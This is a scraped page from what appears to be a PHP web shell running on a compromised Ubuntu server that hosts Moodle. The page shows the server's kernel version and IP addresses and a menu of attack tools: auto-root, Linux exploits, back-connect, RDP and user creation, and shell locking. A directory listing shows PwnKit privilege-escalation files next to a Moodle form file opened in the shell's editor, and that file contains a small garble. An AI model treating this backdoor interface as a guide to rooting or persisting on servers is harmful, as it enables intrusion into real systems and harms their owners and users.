Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
forum /
classes /
form /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
export_form.php
4.21
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : export_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains the form definition for discussion export. * * @package mod_forum * @copyright 2019 Simey Lameze <simey@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace mod_forum\form; defined('MOODLE_INTERNAL') || die('Direct access to this script is forbidden.'); require_once($CFG->dirroot.'/mod/forum/lib.php'); require_once($CFG->libdir.'/formslib.php'); /** * Export discussion form. * * @package mod_forum * @copyright 2019 Simey Lameze <simey@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL Juv3 or later */ class export_form extends \moodleform { /** * Define the form - called by parent constructor */ public function definition() { $mform = $this->_form; $forum = $this->_customdata['forum']; $mform->addElement('hidden', 'id'); $mform->setType('id', PARAM_INT); $mform->setDefault('id', $forum->get_id()); $options = [ 'ajax' => 'mod_forum/form-user-selector', 'multiple' => true, 'noselectionstring' => get_string('allusers', 'mod_forum'), 'courseid' => $forum->get_course_id(), 'valuehtmlcallback' => function($value) { global $OUTPUT; $allusernames = get_all_user_name_fields(true); $fields = 'id, ' . $allusernames; $user = \core_user::get_user($value, $fields); $useroptiondata = [ 'fullname' => fullname($user), ]; return $OUTPUT->render_from_template('mod_forum/form-user-selector-suggestion', $useroptiondata); } ]; $mform->addElement('autocomplete', 'useridsselected', get_string('users'), [], $options); // Get the discussions on this forum. $vaultfactory = \mod_forum\local\container::get_vault_factory(); $discussionvault = $vaultfactory->get_discussion_vault(); $discussions = array_map(function($discussion) { return $discussion->get_name(); }, $discussionvault->get_all_discussions_in_forum($forum)); $options = [ 'multiple' => true, 'noselectionstring' => get_string('alldiscussions', 'mod_forum'), ]; $mform->addElement('autocomplete', 'discussionids', get_string('discussions', 'mod_forum'), $discussions, $options); // Date fields. $mform->addElement('date_time_selector', 'from', get_string('postsfrom', 'mod_forum'), ['optional' => true]); $mform->addElement('date_time_selector', 'to', get_string('poststo', 'mod_forum'), ['optional' => true]); // Export formats. $formats = \core_plugin_manager::instance()->get_plugins_of_type('dataformat'); $options = []; foreach ($formats as $format) { $options[$format->name] = $format->displayname; } $mform->addElement('select', 'format', 'Format', $options); $mform->addElement('header', 'optionsheader', get_string('exportoptions', 'mod_forum')); $mform->addElement('checkbox', 'striphtml', '', get_string('exportstriphtml', 'mod_forum')); $mform->addHelpButton('striphtml', 'exportstriphtml', 'mod_forum'); $mform->addElement('checkbox', 'humandates', '', get_string('exporthumandates', 'mod_forum')); $mform->addHelpButton('humandates', 'exporthumandates', 'mod_forum'); $this->add_action_buttons(true, get_string('export', 'mod_forum')); } }
Close